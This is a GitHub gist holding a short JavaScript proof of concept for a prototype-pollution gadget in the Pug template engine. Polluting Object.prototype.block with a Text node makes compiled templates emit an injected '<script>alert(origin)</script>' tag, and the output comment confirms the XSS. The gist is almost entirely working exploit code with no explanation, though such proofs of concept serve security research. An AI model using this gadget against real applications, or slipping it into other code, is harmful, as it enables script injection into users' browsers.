Skip to content

Instantly share code, notes, and snippets.

@rayepeng

rayepeng/untitled snippet.js

Created June 8, 2023 05:03
Show Gist options
  • Save rayepeng/4cf5b49896ecf32cb70c595819275167 to your computer and use it in GitHub Desktop.
Save rayepeng/4cf5b49896ecf32cb70c595819275167 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
untitled snippet.js
const pug = require('pug');
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};
const source = `h1= msg`;
var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});
console.log(html); // <h1>It works<script>alert(origin)</script></h1>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment